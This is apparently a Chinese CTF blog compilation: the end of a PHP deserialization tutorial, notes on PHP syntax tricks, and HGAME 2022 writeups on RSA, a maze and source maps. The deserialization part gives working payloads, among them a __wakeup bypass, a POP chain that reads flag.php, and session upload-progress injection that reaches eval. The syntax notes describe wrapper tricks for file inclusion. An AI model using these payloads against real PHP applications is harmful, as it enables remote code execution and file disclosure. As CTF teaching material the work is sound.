举个例子：
1
2
3
4
5
6
7
8
9
10
11
12
13
14

class Test {
  public function __call($name, $arguments) {
    echo "Calling object method '$name' on line ".implode(', ', $arguments). "\n";
  }
  public static function __callStatic($name, $arguments) {
      echo "Calling static method '$name' on line ".implode(', ', $arguments). "\n";
  }
}
$test = new Test();
$test->run( __LINE__);
// Calling object method 'run' on line 11
Test::runStatic(__LINE__);
// Calling static method 'runStatic' on line 12
利用
CVE-2016-7124 绕过 __wakeup()
在 PHP5 < 5.6.25，PHP7 < 7.0.10 的版本都存在有关 __wakeup() 的漏洞，当反序列化中对象中的字段个数和后面字段内容不匹配时，__wakeup() 就会被绕过。
举个例子：
1
2
3
4
5
6
7
8
9
10
11
   
class Test {
  function __destruct() {
    echo 'Bypass';
  }
  function __wakeup() {
    echo 'Fail to ';
  }
}
$payload = $_GET['payload'];
unserialize($payload);
对于正常的序列化字符串 O:4:"Test":0:{} 来说肯定输出的是 Fail to Bypass，但是在低版本的 PHP 中可以构造错误的序列化字符串来绕过。
payload：/index.php?payload=O:4:"Test":1:{}
输出 Bypass。
弱类型比较绕过
本来想放到弱类型比较讲的，想想还是放到这里吧。
由于 PHP 是弱类型语言，所以类的成员可以多次赋值成不同的类型。
举个例子：
1
2
3
4
5
6
7
8
9

class Test {
  public $val;
}
$test = new Test;
$test->val = "2333";
var_dump($test->val); // string(4) "2333"
$test->val = 666;
var_dump($test->val); // int(666)
考虑有以下代码：
1
2
3
4
5
6
7
8
class User {
  public $name;
  public $password;
}
$data = unserialize($_POST['data']);
if ($data->user == 'admin' && $data->password == 'secret') {
  echo 'login success!'.PHP_EOL;
}
构造 payload：
1
2
3
4
5
6
7
8
9
10

class User {
  public $name;
  public $password;
}
$user = new User;
$user->name = true;
$user->password = true;
echo serialize($user);
// O:4:"User":2:{s:4:"name";b:1;s:8:"password";b:1;}
发现我们成功登录了！
POP链构造
POP 是指面向属性编程（Property-Oriented Programing）, 用于上层语言构造特定调用链的方法。
我们去寻找会被自动调用的方法，比如 __destruct()、__toString() 等，然后找到里面可能可以利用的函数或者语法结构，再找到和这些函数相关的成员，只要这些成员可控，就能执行恶意代码或者拿到想要的文件了。
注意 PHP 是弱类型语言，所以类的成员可以多次赋值成不同的类型，因而不必拘泥于原来 __construct() 中给变量赋值的类型，可以去找可利用的恶意类。
举个例子：
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35

class MyFile {
  public $name;
  public $user;
  public function __construct($name, $user) {
    $this->name = (string)$name;
    $this->user = (string)$user;
  }
  public function __toString() {
    return file_get_contents($this->name);
  }
  public function __wakeup(){
    if (stristr($this->name, "flag") !== false) {
      $this->name = "/etc/hostname";
    } else {
      $this->name = "/etc/passwd";
    }
    if (isset($_GET['user'])) {
      $this->user = $_GET['user']; 
    }
  }
  public function __destruct() {
    echo $this;
  }
}
if (isset($_GET['input'])) {
  $input = $_GET['input']; 
  if (stristr($input, 'user') !== false) {
    die('Hacker'); 
  } else {
    unserialize($input);
  }
} else {
  highlight_file(__FILE__);
}
我们可以发现这么一个链子 __wakeup() -> __destruct() -> __toString()，在 __toString() 中存在可利用的函数 file_get_contents。
但是 __wakeup() 中的 name 字段被重新赋值了，而高版本 PHP 中并不能绕过 __wakeup()，怎么办？
发现 user 是我们能控制的，那么可以借助引用将 name 绑定到 user 上去，而且 user 的赋值正好在 name 赋值之后！
但是在最开始的 input 过滤了 user，我们可以利用结构里提到的 S 类型绕过。
1
2
3
4
5
6
7
8
9
10
11
12

class MyFile {
    public $name;
    public $user;
}
$x = new MyFile();
$x->user = "";
$x->name = &$x->user;
$payload = serialize($x);
$payload = str_replace("user", "use\\72", $payload);
$payload = str_replace("s:", "S:", $payload);
echo $payload;
得到 payload：?input=O:6:"MyFile":2:{S:4:"name";S:0:"";S:4:"use\72";R:2;}&user=flag.php
SESSION反序列化
SESSION机制
假如有以下代码：
1
2
3
4
5
6
7
8
9
10
11

session_start();
if (empty($_SESSION['count'])) {
  $_SESSION['count'] = 1;
} else {
  $_SESSION['count']++;
}
?>

Hello visitor, you have seen this page  echo $_SESSION['count']; ?> times.

如果你第一次访问这个页面，它会在服务器生成一个名为 sess_ 的 session 文件，并将 SID 保存到 cookie 中，以供下次会话时使用。
这个过程中，会填充 $_SESSION 超级全局变量，并在程序结束时将其序列化储存在 session 文件中。
说是序列化其实和常规的 serialize 有一定的差异，在这里存在多种序列化方式，可在 session.serialize_handler 配置项进行更改，默认是 php。
引擎 存储方式
php |
php_binary 
php_serialize 

1
2
3
4
5
6

error_reporting(0);
ini_set('session.serialize_handler', 'php');
session_start();
$_SESSION['handler'] = 'php';
// handler|s:3:"php";
1
2
3
4
5
6

error_reporting(0);
ini_set('session.serialize_handler', 'php_binary');
session_start();
$_SESSION['handler'] = 'php_binary';
// handlers:10:"php_binary";
1
2
3
4
5
6

error_reporting(0);
ini_set('session.serialize_handler', 'php_serialize');
session_start();
$_SESSION['handler'] = 'php_serialize';
// a:1:{s:7:"handler";s:13:"php_serialize";}
引擎不同导致的漏洞
一般来说 session 是用户有限更改的或是在后端控制之下的。但是如果在同一个 web 应用中用了两个引擎就可能出现这个漏洞。有一说一，这种漏洞也挺离谱的，不像是正常环境能出来的，只要不在代码里自定义引擎就不会有这种 bug 产生。
产生的原因是 php 和 php_serialize 引擎在处理 | 的时候是不同的行为。
如果生成 session 是用 php_serialize，读取 session 是用 php，| 在 php_serialize 眼中只是一个普通字符，但在 php 眼中却是键名和键值的分隔符。
举个例子：
1
2
3
4
5
6
7
8
9
10
11
// login.php

error_reporting(0);
ini_set('session.serialize_handler', 'php_serialize');
session_start();
if (isset($_GET['user'])) {
  $_SESSION['user'] = $_GET['user'];
  echo "login success!";
} else {
  echo "login first!";
}
1
2
3
4
5
6
7
8
9
10
11
12
// index.php

error_reporting(0);
ini_set('session.serialize_handler','php');
session_start();
class User {
  public $name;
  function __wakeup(){
    echo "hello ".$this->name."!
";
  }
}
echo "is there something wrong?";
构造 payload：
1
2
3
4
5
6
7

class User {
  public $name;
}
$user = new User();
$user->name = "233";
echo "|".serialize($user);
先访问 login.php?user=/login.php?user=|O:4:"User":1:{s:4:"name";s:3:"233";}
然后访问 index.php 就能发现 __wakeup() 魔术方法被调用了。
SESSION上传进度
在 session.upload_progress.enabled = On 的情况下，session 文件会记录文件上传的进度，这就意味着 session 文件内容可控，则可能产生反序列化漏洞。
举个例子：
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18

//A webshell is wait for you
ini_set('session.serialize_handler', 'php');
session_start();
class Shell {
  public $shell;
  function __construct() {
    $this->shell = 'phpinfo();';
  }
  function __destruct() {
    eval($this->shell);
  }
}
if(isset($_GET['phpinfo'])) {
  $m = new Shell();
} else {
  highlight_string(file_get_contents('index.php'));
}
然后得到 session.upload_progress.enabled=On 以及 session.upload_process.name。
构造 payload，传递表单：
1
2
3
4
5
6
7
8
9
10
11

class Shell {
  public $shell = 'print_r(scandir(dirname(__FILE__)));';
}
$x = new Shell();
?>
"http://localhost/index.php" method="POST" enctype="multipart/form-data">
    "hidden" name="PHP_SESSION_UPLOAD_PROGRESS" value= "|".serialize($x); ?> />
    "file" name="file" />
    "submit" />

就能任意执行 PHP 代码了。
但是一般来说在 session.upload_progress.cleanup = On 的情况下（默认情况下），新建的上传进度马上就会被销毁，导致反序列化失败，我们需要利用条件竞争，让服务器在没反应过来删除的时候成功反序列化。
可以利用 BurpSuite 的 intruder 模块多线程发包。


PHP中的一些语法特性
2022-02-21T02:15:14.000Z
整理了一些 PHP 中的一些常在 CTF 比赛中用到的语法特性，也算是自用笔记。
短标签
常见的 PHP 代码都被类似 ，但也支持缩写形式 ，在 short_open_tag 开启的时候也可以使用 。
其中  是更完整的  的简写形式。
而且单文件时右边可以不闭合，形如 ，其他两个同理。
应用场景：文件上传或者文件包含时绕过 WAF 或者过滤。
因为考虑到和 XML 格式的兼容，默认情况下 short_open_tag 是被关闭的。
伪协议
URL 风格的封装协议，可用于类似 fopen()、 copy()、 file_exists() 和 filesize() 等文件系统函数。除了这些封装协议，还能通过 stream_wrapper_register() 来注册自定义的封装协议。
具体启用了哪些可以在 php_info 中的 Registered PHP Streams 查看。
应用场景：常和 include file_get_contents 等函数配合使用，实现文件包含。
file://
用来访问本地文件，当指定了一个相对路径（不以 /、\、\\ 或 Windows 盘符开头的路径）提供的路径将基于当前的工作目录。在很多情况下是脚本所在的目录，除非被修改了。
应用场景：读取 flag 或者是某些敏感文件。
http://
常规 URL 形式，允许通过 HTTP 1.0 的 GET方法，以只读访问文件或资源。
应用场景：通常用于远程包含。
php://
用来访问各个输入/输出流。
php://input
php://input 是个可以访问请求的原始数据的只读流。enctype="multipart/form-data" 的时候 php://input 是无效的。
会读取 POST DATA 的内容。
php://filter
php://filter 是一种元封装器，设计用于数据流打开时的筛选过滤应用。这对于一体式（all-in-one）的文件函数非常有用，类似 readfile()、file() 和 file_get_contents()，在数据流内容读取之前没有机会应用其他过滤器。
php://filter 参数 描述
resource=<要过滤的数据流> 这个参数是必须的。它指定了你要筛选过滤的数据流。
read=<读链的筛选列表> 该参数可选。可以设定一个或多个过滤器名称，以管道符（|）分隔。
write=<写链的筛选列表> 该参数可选。可以设定一个或多个过滤器名称，以管道符（|）分隔。
<；两个链的筛选列表> 任何没有以 read= 或 write= 作前缀 的筛选器列表会视情况应用于读或写链。
完整的可用的过滤器列表，下面只列举一些常用的过滤器。
字符串过滤器 作用
string.rot13 等同于str_rot13()，rot13变换
string.toupper 等同于strtoupper()，转大写字母
string.tolower 等同于strtolower()，转小写字母

转换过滤器 作用
convert.base64-encode 等同于 base64_encode()，base64编码
convert.base64-decode 等同于 base64_decode()，base64解码
例子：php://filter/read=convert.base64-encode/resource=${file}
php://input 受限于 allow_url_include
zlib://
gz 格式文件的解压伪协议，似乎是 PHP 自带实现的？
例子： compress.zlib://${file.gz}
zip://
zip 格式文件的解压伪协议，由 ZIP 扩展注册。
例子：zip://${archive.zip}#${dir/file}，在实际应用中 # 常用 URL 编码 %23 来代替。
如果不存在 ZIP 扩展，则不存在该伪协议。
data://
data:// — 数据（RFC 2397）
根据 RFC 文档的规定，一个 data 流格式应如下：
1
2
3
4
dataurl    := "data:" [ mediatype ] [ ";base64" ] "," data
mediatype  := [ type "/" subtype ] *( ";" parameter )
data       := *urlchar
parameter  := attribute "=" value
例子：data://text/plain;base64,ZGF0YQ==
glob://
glob:// — 查找匹配的文件路径模式。
glob 模式使用通配符来广泛的匹配文件名，更加详细的介绍可以看 Wiki。
例子：glob://f[k-m]*，用来匹配以字符串 fl 开头的文件。
phar://
phar:// 用于处理 Phar 数据流，支持多种压缩方式。
具体启用了哪些压缩方式可以通过 php_info 找到 Phar 模块，表格中有 ${type}-based phar archives，其中 type 即为压缩方式。
例子：phar://${archive.zip}/${file}。
关于 Phar 还有更多，我会在新的文章里讲到它。
PHAR (PHp ARchive) 是 PHP 里类似于 JAR (Java ARchive) 的一种打包文件，通常后缀名为 .phar。如果你使用的是 PHP 5.3 或更高版本，那么 Phar 后缀文件是默认开启支持的，你不需要任何其他的安装就可以使用它。
序列化与反序列化
详见这篇文章
include 及类似函数
1、include() 当使用该函数包含文件时，只有代码执行到 include() 函数时才将文件包含进来，发生错误时只给出一个警告，继续向下执行。
2、require() 只要程序一执行就会立即调用文件，发生错误的时候会输出错误信息，并且终止脚本的运行。
include_once()、require_once() 功能和 include()、require() 相同，但它们把要加载的文件存放在一个哈希表中，再次加载时检查这个哈希表，如果发现已经加载过则直接跳过。
被包含的文件将继承引入前具有的全部变量范围，比如调用文件前面定义了一些变量，那么这些变量就能够在被包含的文件中使用，反之，被包含文件中定义的变量也将从调用处开始可以被被调用文件所使用。
被包含文件中定义的函数、类在执行之后将可以被随处使用，即具有全局作用域。
有趣的是，如果被引入的文件与源文件变量重名，将会覆盖原有的文件中的变量。
举个例子，现在有两个文件 a.php 和 b.php。
1
2
3
4
5
6
7
8
9
10
// a.php

class Fl4g {
  function __toString() {
    return "NoNoNo";
  }
}
$x = new Fl4g();
include("b.php");
echo $x;
1
2
3
4
5
6
7
8
// b.php

class Flag {
  function __toString() {
    return "YesYesYes";
  }
}
$x = new Flag();
运行 a.php 会输出 YesYesYes，但值得注意的是并不能覆盖定义原有的类，在刚才的例子中类的名字分别为 Fl4g 和 Flag，重名将会报错。
参考链接：https://www.kancloud.cn/nickbai/php7/content/4.5include-require.md
在 allow_url_include 参数开启的情况下允许解析 PHP 伪协议。
__halt_compiler
用于中断编译器的执行，在 Phar 中则以 __HALT_COMPILER(); 来结尾。
应用场景：发现无法闭合右标签且后面会导致编译错误时可用。
弱类型比较（==）
强类型，就是强制数据类型定义。也就是说，一旦变量被指定了某个数据类型，如果不经过强制类型转换，那么它永远都是这个数据类型。
弱类型，对数据类型要求不严格，可以让数据类型随意互相转换，利用这些特性，我们可以对一些条件进行绕过。
放一段大佬的 fuzz 代码：
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18

function fuzz() {
  $a = [true, false, 1, 0, -1, "1", "0", "-1", NULL, array(), "Array", "null", "true", "false", "", 0e123, "0e123", "0e0", 0e0, 9e999, INF, "9e999", "INF", -9e99, "-0e0", -0e0];
  for ($i = 0; $i < sizeof($a); $i ++) {
    $t = (string)$a[$i];
    for ($j = 0; $j < sizeof($a); $j ++) {
        if($t !== $a[$j] && md5($t) === md5($a[$j]) && $t != $a[$j]) {
          // 这里可以写一些题目里的条件，在这里实际上输出全是 INF
          echo "--------\n";
          echo "pos:".$i."\n";
          var_dump($a[$i]);
          echo "pos:".$j."\n";
          var_dump($a[$j]);
      }
    }
  }
}
fuzz();
值得一提的是，switch 也是弱类型比较的。
1
2
3
4
5
6
7
8
9
10
11
12
13
14

$a = '1e0';
switch ($a) {
  case 1:
    echo "1";
    break;
  case 2:
    echo "2";
    break;
  default:
    echo "default";
    break;
}
// output: 1
字符串和数字比较
在 PHP 中，一个字符串可能被解析成两种类型：普通的字符串或者是数字字符串，值得注意的是，在 PHP8.x 中只有形如 e 的字符串只有  和  全为数字时才会被解析成数字字符串，而 PHP5.x 以及 PHP7.x 中只要以数字开头都可。
1
2
3
4
5

var_dump("1e5" == 100000); // bool(true)
var_dump("2a" == 2);
// PHP5.x PHP7.x => bool(true)
// PHP8.x        => bool(false)
普通字符串和数字比较，字符串会被转换成数字  $0$ 。
该特性只在 PHP 5.x 和 PHP 7.x 上生效。
举个例子：
1
2

var_dump("str" == 0); // bool(true)
以下示例来自官方文档，可以看到存在精度误差。
1
2
3
4
5
6
7
8
$foo = 1 + "10.5";                // $foo 是 float (11.5)
$foo = 1 + "-1.3e3";              // $foo 是 float (-1299)
$foo = 1 + "bob-1.3e3";           // PHP 8.0.0 起产生 TypeError；在此之前 $foo 是 integer (1)
$foo = 1 + "bob3";                // PHP 8.0.0 起产生 TypeError；在此之前 $foo 是 integer (1)
$foo = 1 + "10 Small Pigs";       // PHP 8.0.0 起，$foo 是 integer (11)，并且产生 E_WARNING；在此之前产生 E_NOTICE
$foo = 4 + "10.2 Little Piggies"; // PHP 8.0.0 起，$foo 是 float (14.2)，并且产生 E_WARNING；在此之前产生 E_NOTICE
$foo = "10.0 pigs " + 1;          // PHP 8.0.0 起，$foo 是 float (11)，并且产生 E_WARNING；在此之前产生 E_NOTICE
$foo = "10.0 pigs " + 1.0;        // PHP 8.0.0 起，$foo 是 float (11)，并且产生 E_WARNING；在此之前产生 E_NOTICE
特殊的，在 PHP 5.x，“0x” 开头的字符串能被解析成 16 进制的数字。
1
2
3
4
var_dump(0x123);          // int(291)
var_dump((int)'0x123');   // int(0)
var_dump('0x123' == 0x123); // bool(true)
var_dump('0x123' == 291);   // bool(true)
但是显而易见的，这种解析方法存在歧义，比如第二个也可以被解析成 0，所以才会被弃用的吧。
字符串和字符串比较
字符串之间的比较有个很有意思的点，那就是如果字符串本身如果不相等的话，解释器会尝试把它们转换为数字字符串再进行比较。
举个例子：
1
2
3
4
var_dump("1e5" == "100000");      // bool(true)
var_dump("1e5" == "10e4");        // bool(true)
var_dump("1e5" == "1e5a");        // bool(false)
var_dump("0e12345" == "0e67890"); // bool(true)
利用这一点，我们可以让一些字符串函数的返回值以 0e 开头来搞点事情，详细的放在了[函数篇中的字符串函数]中。
bool 类型和字符串比较
bool 类型的 true 可以和任意非空、解析后非零字符串相等，false 则反之。
举个例子：
1
2
3
4
var_dump('0' == true);  // bool(false)
var_dump('' == true);   // bool(false)
var_dump('0a' == true); // bool(true)
var_dump('a' == true);  // bool(true)
bool 类型和数字比较
bool 类型的 true 可以和任意非零数字相等，反之亦然。
举个例子：
1
2
3
4
var_dump(0 == true);       // bool(false)
var_dump(1 == true);       // bool(true)
var_dump(1.0 == true);     // bool(true)
var_dump((1 - 1) == true); // bool(false)



HGAME 2022 Writeup - Week2
2022-02-03T14:17:25.000Z
HGAME 2022 第二周部分题的 Writeup。
第二周的难度上升了不少，而且遇到了春节，所以就没做多少。。
CRYPTO
RSA Attack
拿到数据，发现  $n$  这么小，直接去在线网站分解得到  $p$  和  $q$ ，然后直接解密即可。
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
import gmpy2
import libnum

def Decrypt(e, p, q, c):
    f = (p - 1) * (q - 1)
    d = gmpy2.invert(e, f)
    n = p * q
    m = gmpy2.powmod(c, d, n)
    return libnum.n2s(int(m))

e = 65537
p = 715800347513314032483037
q = 978782023871716954857211
c = 122622425510870177715177368049049966519567512708
print(Decrypt(e, p, q, c))
拿到 flag：hgame{SHorTesT!fLAg}
RSA Attack 2
分成了三个子问题，而 task.py 告诉我们了加密过程。
task1
注意到  $n1$  和  $n2$  是不互质的，且都是两个质数相乘，所以取最大公因数即可得到  $q$ ，然后得到  $p$  即可，注意 Python 里的整数除法是 // 不是 /，在这里坑了好久。
1
2
3
4
5
6
7
8
9
def task1():
    e = 65537
    n1 = 14611545605107950827581005165327694782823188603151768169731431418361306231114985037775917461433925308054396970809690804073985835376464629860609710292181368600618626590498491850404503443414241455487304448344892337877422465715709154238653505141605904184985311873763495761345722155289457889686019746663293720106874227323699288277794292208957172446523420596391114891559537811029473150123641624108103676516754449492805126642552751278309634846777636042114135990516245907517377320190091400729277307636724890592155256437996566160995456743018225013851937593886086129131351582958811003596445806061492952513851932238563627194553
    c1 = 965075803554932988664271816439183802328812013694203741320763105376036912584995031647672348468111310423680858101990670067065306237596121664884353679987689532305437801346923070145524106271337770666947677115752724993307387122132705797012726237073550669419110046308257408484535063515678066777681017211510981429273346928022971149411064556225001287399141306136081722471075032423079692908380267160214143720516748000734987068685104675254411687005690312116824966036851568223828884335112144637268090397158532937141122654075952730052331573980701136378212002956719295192733955673315234274064519957670199895100508623561838510479
    n2 = 20937478725109983803079185450449616567464596961348727453817249035110047585580142823551289577145958127121586792878509386085178452171112455890429474457797219202827030884262273061334752493496797935346631509806685589179618367453992749753318273834113016237120686880514110415113673431170488958730203963489455418967544128619234394915820392908422974075932751838012185542968842691824203206517795693893863945100661940988455695923511777306566419373394091907349431686646485516325575494902682337518438042711296437513221448397034813099279203955535025939120139680604495486980765910892438284945450733375156933863150808369796830892363
    c2 = 11536506945313747180442473461658912307154460869003392732178457643224057969838224601059836860883718459986003106970375778443725748607085620938787714081321315817144414115589952237492448483438910378865359239575169326116668030463275817609827626048962304593324479546453471881099976644410889657248346038986836461779780183411686260756776711720577053319504691373550107525296560936467435283812493396486678178020292433365898032597027338876045182743492831814175673834198345337514065596396477709839868387265840430322983945906464646824470437783271607499089791869398590557314713094674208261761299894705772513440948139429011425948090
    q = gmpy2.gcdext(n1, n2)[0]
    p = n1 // q
    return Decrypt(e, p, q, c1)
task2
注意到  $e$  非常的小，而 RSA 加密是  $m^e \equiv c \pmod n$ ，即  $m^e=n \times k + c,\ k \in Z$ ， $e$  很小而  $n$  很大意味着我们可以枚举  $k$  来暴力得到  $m$ 。
1
2
3
4
5
6
7
8
def task2():
    e = 7
    n = 14157878492255346300993349653813018105991884577529909522555551468374307942096214964604172734381913051273745228293930832314483466922529240958994897697475939867025561348042725919663546949015024693952641936481841552751484604123097148071800416608762258562797116583678332832015617217745966495992049762530373531163821979627361200921544223578170718741348242012164115593777700903954409103110092921578821048933346893212805071682235575813724113978341592885957767377587492202740185970828629767501662195356276862585025913615910839679860669917255271734413865211340126544199760628445054131661484184876679626946360753009512634349537
    c = 10262871020519116406312674685238364023536657841034751572844570983750295909492149101500869806418603732181350082576447594766587572350246675445508931577670158295558641219582729345581697448231116318080456112516700717984731655900726388185866905989088504004805024490513718243036445638662260558477697146032055765285263446084259814560197549018044099935158351931885157616527235283229066145390964094929007056946332051364474528453970904251050605631514869007890625
    for k in range(200000000):
        res = gmpy2.iroot(c + n * k, e)
        if (res[1] == 1):
            return libnum.n2s(int(res[0]))
task3
注意到两次 RSA 过程中的  $n$  和  $m$  是一样的。
$$m^{e1} \equiv c1 \pmod n \\m^{e2} \equiv c2 \pmod n$$
而  $e1$  和  $e2$  都是质数，所以有  $gcd(e1,e2)=1$ 。
根据扩展欧几里得算法，存在  $e1 \times s1 + e2 \times s2 = gcd(e1,e2)$ 
根据以上式子对  $m$  进行推导：
$$\begin{aligned}m &= m^{e1 \times s1 + e2 \times s2} \\  &= (m^{e1})^{s1} + (m^{e2})^{s2} \\  &\equiv c1^{s1} + c2^{s2} \pmod n \\\end{aligned}$$
所以用扩展欧几里得算法求出  $s1$  和  $s2$  即可。
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
def task3():
    n = 18819509188106230363444813350468162056164434642729404632983082518225388069544777374544142317612858448345344137372222988033366528086236635213756227816610865045924357232188768913642158448603346330462535696121739622702200540344105464126695432011739181531217582949804939555720700457350512898322376591813135311921904580338340203569582681889243452495363849558955947124975293736509426400460083981078846138740050634906824438689712748324336878791622676974341814691041262280604277357889892211717124319329666052810029131172229930723477981468761369516771720250571713027972064974999802168017946274736383148001865929719248159075729
    e1 = 2519901323
    c1 = 3230779726225544872531441169009307072073754578761888387983403206364548451496736513905460381907928107310030086346589351105809028599650303539607581407627819797944337398601400510560992462455048451326593993595089800150342999021874734748066692962362650540036002073748766509347649818139304363914083879918929873577706323599628031618641793074018304521243460487551364823299685052518852685706687800209505277426869140051056996242882132616256695188870782634310362973153766698286258946896866396670872451803114280846709572779780558482223393759475999103607704510618332253710503857561025613632592682931552228150171423846203875344870
    e2 = 3676335737
    c2 = 940818595622279161439836719641707846790294650888799822335007385854166736459283129434769062995122371073636785371800857633841379139761091890426137981113087519934854663776695944489430385663011713917022574342380155718317794204988626116362865144125136624722782309455452257758808172415884403909840651554485364309237853885251876941477098008690389600544398998669635962495989736021020715396415375890720335697504837045188626103142204474942751410819466379437091569610294575687793060945525108986660851277475079994466474859114092643797418927645726430175928247476884879817034346652560116597965191204061051401916282814886688467861
    s = gmpy2.gcdext(e1, e2)
    s1 = s[1]
    s2 = s[2]
    if (s1 < 0):
        s1 = -s1
        c1 = gmpy2.invert(c1, n)
    if s2 < 0:
        s2 = -s2
        c2 = gmpy2.invert(c2, n)
    m = pow(c1, s1, n) * pow(c2, s2, n) % n
    return libnum.n2s(int(m))
得到 flag：hgame{RsA@hAS!a&VArIETY?of.AttacK^mEThodS^whAT:other!AttACK|METHOdS~do@you_KNOW}
REVERSE
xD MAZE
直接扔到 IDA 里，反编译后发现逻辑类似在一维数轴上跳跃，问怎么样能 28 步全在特定的点上。
声明了一个大小为 4096 的数组，值为 32 则该点可以走，35 则不行。
写了个 DFS 来跑 flag：
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
#include 
#include 
using namespace std;
int data[4096];
void db(int n, int x) {
  static int t = 0;
  for (int i = 0; i < n; i++) data[t + i] = x;
  t += n;
}
int d[] = {512, 64, 8, 1};
char flag[30];
bool dfs(int now, int step) {
  if (now >= 4096) return 0;
  if (data[now] != 32) return 0;
  if (step >= 28) return 1;
  bool f = 0;
  for (int i = 0; i < 4; i++) {
    flag[step] = '0' + i;
    f |= dfs(now + d[i], step + 1);
    if (f) break;
  }
  return f;
}
int main() {
  db(2, 32), db(63, 35), db(1, 32), db(7, 35), db(1, 32), db(511, 35);
  db(1, 32), db(63, 35), db(1, 32), db(63, 35), db(2, 32), db(511, 35);
  db(2, 32), db(63, 35), db(1, 32), db(7, 35), db(1, 32), db(511, 35);
  db(2, 32), db(7, 35), db(1, 32), db(511, 35), db(2, 32);
  db(7, 35), db(1, 32), db(7, 35), db(1, 32), db(7, 35), db(1, 32), db(7, 35);
  db(2, 32), db(63, 35), db(1, 32), db(511, 35), db(1, 32), db(511, 35);
  db(2, 32), db(511, 35), db(1, 32), db(63, 35), db(1, 32), db(63, 35);
  db(1, 32);
  dfs(0, 0);
  printf("hgame{%s}", flag);
}
拿到 flag：hgame{3120113031203203222231003011}
WEB
webpack-engine
开始点按钮玩，喜闻乐见的上当了环节
然后直奔源码，发现没关 source map，找到了 Fl4g_1s_her3.vue
里面发现 YUdkaGJXVjdSREJ1ZEY5bU1ISTVaWFJmTWw5RGJFOXpNMTlUTUhWeVkyVmZiVUJ3ZlE9PQo=
BASE64 解密一次得到 aGdhbWV7RDBudF9mMHI5ZXRfMl9DbE9zM19TMHVyY2VfbUBwfQ==
继续 BASE64 解密就拿到 flag。
得到 flag：hgame{D0nt_f0r9et_2_ClOs3_S0urce_m@p}
To be continued…


HGAME 2022 Writeup - Week1
2022-01-27T16:08:17.000Z
HGAME 2022 第一周部分题的 Writeup。
小插曲，作者在打比赛的时候忘记截止时间少交了一个 flag，血亏 150 分 QAQ。
CRYPTO
Dancing Line
拿到图片，发现是一条折线，一开始没啥思路。
但仔细思考发现线横向只会向右，纵向只会向下，想到了什么？二进制！其实是受到校内比赛的启发
使用 PS 打开，放大后发现相邻两个黑方格之间正好相差 7 个蓝方格，想到了什么？ASCII 码！
再结合 HGAME 的 flag 格式：hgame{xxx}，我们先拿到 h 的 ASCII 码，并将其转为二进制 1101000，再去对应找规律。
猜测是在折角处改变 0/1 状态，进行验证，发现前两段正好是 hg，写了个 Python 脚本：
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
from PIL import Image
im = Image.open('./Dancing Line.bmp')
n = im.size[0]
m = im.size[1]
res = 0
cur = False
flag = ""
for j in range(m):
    for i in range(n):
        x = im.getpixel((i, j))
        if (x == (0, 0, 0)):
            if ((i, j) != (0, 0)):
                flag += chr(res)
            res = 0
            cur = False
            continue
        if (x == (255, 255, 255)):
            continue
        if (i - 1 < 0 or i + 1 >= n or j - 1 < 0 or j + 1 >= m):
            cur = not cur
        elif ((im.getpixel((i - 1, j)) != im.getpixel((i + 1, j))) and (im.getpixel((i, j - 1)) != im.getpixel((i, j + 1)))):
            cur = not cur
        # 转折意味着上下和左右均不相同或是超出边界
        # 复杂度比较高，本来可以沿着线走，但是懒得写了（
        res = res * 2 + cur
print(flag)
flag：hgame{Danc1ng_L1ne_15_fun,_15n't_1t?}
Easy RSA
送分题，没啥好说的，RSA 的常规解密过程。
Python 脚本：
1
2
3
4
5
6
7
8
9
10
11
12
13
14
import gmpy2

def Decrypt(e, p, q, c):
    f = (p - 1) * (q - 1)
    d = gmpy2.invert(e, f)
    n = p * q
    m = gmpy2.powmod(c, d, n)
    return chr(m)

a = [(12433, 149, 197, 104), (8147, 131, 167, 6633), (10687, 211, 197, 35594), (19681, 131, 211, 15710), (33577, 251, 211, 38798), (30241, 157, 251, 35973), (293, 211, 157, 31548), (26459, 179, 149, 4778), (27479, 149, 223, 32728), (9029, 223, 137, 20696), (4649, 149, 151, 13418), (11783, 223, 251, 14239), (13537, 179, 137, 11702), (3835, 167, 139, 20051), (30983, 149, 227, 23928), (17581, 157, 131, 5855), (35381, 223, 179, 37774), (2357, 151, 223, 1849), (22649, 211, 229, 7348), (1151, 179, 223, 17982), (8431, 251, 163, 30226), (38501, 193, 211, 30559), (14549, 211, 151, 21143), (24781, 239, 241, 45604), (8051, 179, 131, 7994), (863, 181, 131, 11493), (1117, 239, 157, 12579), (7561, 149, 199, 8960), (19813, 239, 229, 53463), (4943, 131, 157, 14606), (29077, 191, 181, 33446), (18583, 211, 163, 31800), (30643, 173, 191, 27293), (11617, 223, 251, 13448), (19051, 191, 151, 21676), (18367, 179, 157, 14139), (18861, 149, 191, 5139), (9581, 211, 193, 25595)]
flag = "";
for x in a:
    flag += Decrypt(x[0], x[1], x[2], x[3])
print(flag)
flag：hgame{L00ks_l1ke_y0u've_mastered_RS4!}
English Novel
下载下来的文件夹里给了加密方法 encrypt.py，算法非常简单，就是用 key 对 data 进行了一个移位，而移位是模 26 意义下的，这就意味着如果知道原文和密文，我们可以暴力枚举密钥，每一位的复杂度是  $O(26)$ 。
接下来的问题是找原文对应的密文是什么了，而这些文件分别在 original 和 encrypt 文件夹下，但是被打乱了顺序。注意到加密对于非字符是跳过的，且不改变大小写，所以我们可以根据这两个条件来写脚本判断是否对应。
然后值得一提的是加密过程和密钥长度无关，所以只需要枚举 flag.enc 文件长度的密钥就行，时间复杂度  $O(n \times n + encrypted_len \times n \times 26)$ 。脚本如下：
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
encrypted = "klsyf{W0_j0v_ca0z_'Ks0ao-bln1qstxp_juqfqy'?}"
encrypted_len = len(encrypted)
a = [[0 for j in range(410)] for i in range(encrypted_len)]
for i in range(410):
    s1 = open(f'./original/part{i}.txt').read()
    for j in range(410):
        s2 = open(f'./encrypt/part{j}.txt').read()
        l = len(s1)
        if (l != len(s2)): continue
        cur = 1
